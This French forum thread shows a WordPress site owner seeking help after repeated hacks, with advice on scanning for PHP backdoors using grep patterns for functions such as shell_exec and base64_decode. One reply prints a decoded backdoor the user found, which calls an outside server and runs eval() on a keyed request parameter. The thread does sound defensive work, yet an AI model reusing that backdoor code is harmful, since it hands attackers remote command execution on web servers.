[Clôt] Questions sur la sécurisation d'un CMS sous Wordpress

Questions autour de la sécurité en général.
Pour les désinfections, merci de vous rendre dans la partie Windows --> Virus : Aide Malwares
Répondre
gabier
newbie
newbie
Messages : 17
Inscription : 21 juin 2013 08:50

[Clôt] Questions sur la sécurisation d'un CMS sous Wordpress

Message par gabier » 04 déc. 2015 18:53

Bonjour à tous,

J'administre un CMS sous Wordpress, relativement fréquenté, hébergé en mutualisé chez OVH sur serveur Apache. J'ai été infecté plusieurs fois par des "exploits", si j'ai bien compris, et ma réponse a été graduée. J'ai d'abord fait scrupuleusement et rapidement toutes les mises à jour de Wordpress et des plugins. Vu que cela a recommencé, j'ai durci les passwords. Quelques mois tranquilles, et rebelote. C'est le plugin Antivirus qui me signalait les fichiers louches. Alors j'ai installé Wordfence, ce qui m'a au moins montré que les attaques sont très nombreuses (plusieurs IP "locked out" par jours après 20 tentatives de connexion successives).
Mais après quelques mois de tranquillité les programmes malicieux se sont de nouveau invités. Wordfence est super pour remettre tout d'équerre, mais vu qu'il n'a pas empêché l'entrée, c'est qu'il y a une autre porte d'entrée que la "brute force". Je viens de lire l'article de Malekal Morte sur la sécurisation de Wordpress. J'ai réalisé certains des points (mots de passe, interdire la lecture de wp-config.php dans le .htaccess, installation de Wordfence). Pour les autres points mentionnés, déplacer le wp-config.php, je ne vois pas comment car il est à la racine du site, donc je ne peux pas le remonter. Déplacer le répertoire wp-content, je pense que je pourrais le faire (pour l'instant j'ai des problèmes avec le chemin des feuilles de style). Mais en réfléchissant je me dis que ces incursions à répétition ne sont pas normales, et je soupçonne maintenant autre chose. J'ai développé une application web en PHP, qui est "hors Wordpress", mais qui partage sa racine. Pour être concret le site Wordpress c'est http://www.chomage-et-monnaie.org et l'application c'est http://www.chomage-et-monnaie.org/Plan_ ... entree.php Je ne suis pas développeur professionnel et j'ignore si j'ai développé de manière à éviter les hacks. Comment savoir si mon application est "propre" ? Y a-t-il des analyseurs de code pour ça ?

Tout conseil dans ma situation serait bienvenu.

:) gabier




Avatar de l’utilisateur
Malekal_morte
Site Admin
Site Admin
Messages : 92744
Inscription : 10 sept. 2005 13:57
Contact :

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par Malekal_morte » 05 déc. 2015 17:55

Salut,

Les scans WordPress c'est normal, y en a plein par jour. Tu devrais surtout vérifier si tes comptes Wordpress et voir si tu n'as pas une backdoor qui traine car ça permet aux attaquants d'avoir la main sur ton site : lire détecter les backdoor PHP.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas

Sécuriser son ordinateur (version courte)

Tutoriels Logiciels - Tutoriel Windows - Windows 10

Stop publicités - popups intempestives
supprimer-trojan.com : guide de suppression de malwares

Partagez malekal.com : n'hésitez pas à partager sur Facebook et GooglePlus les articles qui vous plaisent.

gabier
newbie
newbie
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par gabier » 05 déc. 2015 18:38

Bonjour,
D'accord je vais essayer de faire ça. Mais pour trouver les strings, je suis un peu gêné car le papier que tu m'as mis en lien propose une commande Linux, or je n'ai pas la main sur le serveur Apache de mon hébergement mutualisé.
Ce que je peux faire, c'est rapatrier les fichiers sur mon ordinateur perso et les explorer sous Windows, Mais y a-t-il une manière aussi élégante de le faire sous windows 7 ? Je vais chercher de mon côté.

Edit
Ca y est j'ai compris. la commande on peut l'utiliser sous php, je ne connaissais pas passthru et shell_exec. je m'y mets ...

:) gabier

gabier
newbie
newbie
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par gabier » 06 déc. 2015 13:01

Bonjour,

Je n'ai pas réussi à passer le script proposé.

Code : Tout sélectionner

find . -iname '*php' | xargs egrep '(passthru|shell_exec|system\(|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile)' -sl;
Il faut dire que je n'ai pas réussi à bien comprendre ce qu'il faisait. En tout cas le copier-coller et l'exécution sur le site ne donne aucun résultat (page blanche, un echo("hello") inséré avant ne sort pas non plus). Un moyen de déboguer ça ?

En attendant je vais faire un minimum : recharger mon appli à partir de fichiers sains et pour wordpress m'en remettre à Wordfence. Également, l'idée d'une surveillance des changements de fichiers est une bonne idée, je vais creuser ça, mon hébergeur offre la possibilité de planifier des exécutions de scripts

:) gabier

Avatar de l’utilisateur
Malekal_morte
Site Admin
Site Admin
Messages : 92744
Inscription : 10 sept. 2005 13:57
Contact :

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par Malekal_morte » 07 déc. 2015 19:15

La commande fait une recherche mais faut bien sûr avoir une console SSH.
C'est plus pour le principe des Backdoor PHP.

Normalement Wordfense fait une partie de cela (recherches de backdoor, fichiers en trop, etc).
Après c'est assez difficile de t'aider plus que ça sans être devant la machine.
Tu peux aussi restreindre l'accès Admin de WordPress à des IP spécifiques.

etc. etc.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas

Sécuriser son ordinateur (version courte)

Tutoriels Logiciels - Tutoriel Windows - Windows 10

Stop publicités - popups intempestives
supprimer-trojan.com : guide de suppression de malwares

Partagez malekal.com : n'hésitez pas à partager sur Facebook et GooglePlus les articles qui vous plaisent.


gabier
newbie
newbie
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par gabier » 07 déc. 2015 20:25

Merci Malekal pour tous les conseils,

Chez OVH on a accès à SSH. Je creuserai ça un jour pour test la commande. Pour le suivi des modifications de fichiers, OVH pourra exécuter les tâches planifiées des scripts, mais je vais le faire en PHP. J'ai commencé à ré-écrire une version PHP de ton script shell. Pour les ips, je ne suis pas vraiment en ip fixe.

:) gabier

Avatar de l’utilisateur
Malekal_morte
Site Admin
Site Admin
Messages : 92744
Inscription : 10 sept. 2005 13:57
Contact :

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par Malekal_morte » 07 déc. 2015 21:45

OVH te bloque l'accès comme là ?
=> OVH Mutualisé : piratage et blocage de site WEB ?

Pense aussi que ton ordinateur peut-être une porte d'entrée.
=> Intrusions sur site internet par vols d'identifiants (SSH/FTP/..).
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas

Sécuriser son ordinateur (version courte)

Tutoriels Logiciels - Tutoriel Windows - Windows 10

Stop publicités - popups intempestives
supprimer-trojan.com : guide de suppression de malwares

Partagez malekal.com : n'hésitez pas à partager sur Facebook et GooglePlus les articles qui vous plaisent.

gabier
newbie
newbie
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par gabier » 09 déc. 2015 09:15

Malekal_morte a écrit :OVH te bloque l'accès comme là ?
=> OVH Mutualisé : piratage et blocage de site WEB ?
Oui, ils me l'ont fait une fois. Ca fait un choc! Depuis j'ai installé Wordfence et il réagit plus vite qu'eux (à condition que je sois disponible.
D'ailleurs, ce matin alerte, nouvelle infection. 19 fichiers un peu partout infectés ou ajoutés, avec dedans des strings très louches. J'ai gardé un exemple mais je n'ose pas le copier ici, c'est peut-être dangereux!
Je suis quelque peu désarçonné. Ce n'est pas une backdoor dans mon appli puisque j'ai rechargé une version saine. Dans Wordpress je sèche pour l'instant.
Malekal_morte a écrit : Pense aussi que ton ordinateur peut-être une porte d'entrée.
=> Intrusions sur site internet par vols d'identifiants (SSH/FTP/..).
Oui, le ftp me tracasse depuis un moment. Mais OVH n'offre le SFTP que si on a un abonnement "pro", nettement plus cher! La seule chose que j'ai trouvé est que je peux couper l'accès FTP et le réouvrir à la demande. mais c'est très lourd!
Je vais changer le mot de passe et le couper entre les mises à jour pour voir...

:) Gabier

Avatar de l’utilisateur
Malekal_morte
Site Admin
Site Admin
Messages : 92744
Inscription : 10 sept. 2005 13:57
Contact :

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par Malekal_morte » 09 déc. 2015 21:32

Zip le et envoie sur spamhere-@wanadoo.fr
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas

Sécuriser son ordinateur (version courte)

Tutoriels Logiciels - Tutoriel Windows - Windows 10

Stop publicités - popups intempestives
supprimer-trojan.com : guide de suppression de malwares

Partagez malekal.com : n'hésitez pas à partager sur Facebook et GooglePlus les articles qui vous plaisent.

gabier
newbie
newbie
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par gabier » 10 déc. 2015 19:35

Malekal_morte a écrit :Zip le et envoie sur spamhere-@wanadoo.fr
C'est fait.

Comme indiqué, j'essaie de transposer ton script en shell unix vers une version php. Pour tester sur une possible backdoor, tu fais un "egrep" sur une "pattern". Cette pattern est-elle (version commande seule)

Code : Tout sélectionner

'passthru|shell_exec|system\(|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile)'
ou (version script cron)

Code : Tout sélectionner

'base64_|auth_pass|exec\(|curl_exec|phpinfo|system\(|mail\(stripslashes\('
Je ne suis pas un as des expressions régulières ni des strings malicieux, aussi je ne voudrais pas tester sur un modèle inefficace.

:) gabier

Avatar de l’utilisateur
Malekal_morte
Site Admin
Site Admin
Messages : 92744
Inscription : 10 sept. 2005 13:57
Contact :

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par Malekal_morte » 10 déc. 2015 19:40

J'ai reçu ton mail, ça se décode comme ceci :

Code : Tout sélectionner

if (isset($ibv)) { echo $ibv; } else { error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$url = "http://mobi-life-system.com/get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("0ea53695c9b189b469f07cbd0606075c".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("mobi-life-system.com", 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET /get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("0ea53695c9b189b469f07cbd0606075c".$d.$u.$c."1")." HTTP/1.1\r\n";
    $out .= "Host: mobi-life-system.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    $resp = "";
    while (!feof($fp)) {
        $resp .= fgets($fp, 128);
    }
    fclose($fp);
    list($header, $body) = preg_split("/\R\R/", $resp, 2);
    $ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "40ba118f") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv;}
Le début sert de ping, voir si la backdoor fonctionne encore.
et à la fin, ça permet d'executer une commande sur le serveur.

~~

Pour la page PHP qui cherche une backdoor, tu peux t'inspirer de ce décodeur base64 en ligne vu que dans ton script, tu as @$strings(str_rot13('riny(onfr64_qrpbqr... et faut chercher aussi sur php au niveau du str_rot13
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas

Sécuriser son ordinateur (version courte)

Tutoriels Logiciels - Tutoriel Windows - Windows 10

Stop publicités - popups intempestives
supprimer-trojan.com : guide de suppression de malwares

Partagez malekal.com : n'hésitez pas à partager sur Facebook et GooglePlus les articles qui vous plaisent.

gabier
newbie
newbie
Messages : 17
Inscription : 21 juin 2013 08:50

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par gabier » 10 déc. 2015 23:02

Merci pour le modèle de script en php. Si j'ai bien compris, le tien n'analyse que les nouveaux fichiers, alors que celui en php analyse tous les fichiers du site, ce qui est beaucoup plus long. Je me trompe ?

:) gabier

Avatar de l’utilisateur
Malekal_morte
Site Admin
Site Admin
Messages : 92744
Inscription : 10 sept. 2005 13:57
Contact :

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par Malekal_morte » 11 déc. 2015 14:50

Il fait une recherche de contenu, c'est un peu comme si sur ton disque Windows, tu cherchais tous les fichiers texte contenant ou passthru ou shell_exec ou system
ici le but est de trouver tous les fichiers php contenant ce texte.
Bien sûr, il y aura probablement des faux positifs, c'est à dire des scripts non malicieux qui contiennent ce code.
Faut trier.

Les logs Apache peuvent aussi aider, en cherchant les pages PHP qui ont peux de hits.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas

Sécuriser son ordinateur (version courte)

Tutoriels Logiciels - Tutoriel Windows - Windows 10

Stop publicités - popups intempestives
supprimer-trojan.com : guide de suppression de malwares

Partagez malekal.com : n'hésitez pas à partager sur Facebook et GooglePlus les articles qui vous plaisent.

Avatar de l’utilisateur
nam1962
Amateur Expert
Amateur Expert
Messages : 182
Inscription : 01 mars 2014 21:34
Contact :

Re: Questions sur la sécurisation d'un CMS sous Wordpress

Message par nam1962 » 11 déc. 2015 15:42

Je suis le fil de la discussion ;) Perso j'utilise Planethoster plutôt que OVH et j'ai ajouté des protections en plus
Almanet doLys, Linux, open source et fintechs : mon tuto pour optimiser / finaliser une install
Xubuntu devel - Manjaro unstable - OpenSUSE tumbleweed Et vous ?
54 convertis GNU/Linux IRL (leur ai pas donné le choix, aussi...).
Un jeune site que j'aime bien, le top du T-shirt homme ...bio en plus : https://goudronblanc.com


Répondre

Revenir vers « Securite informatique »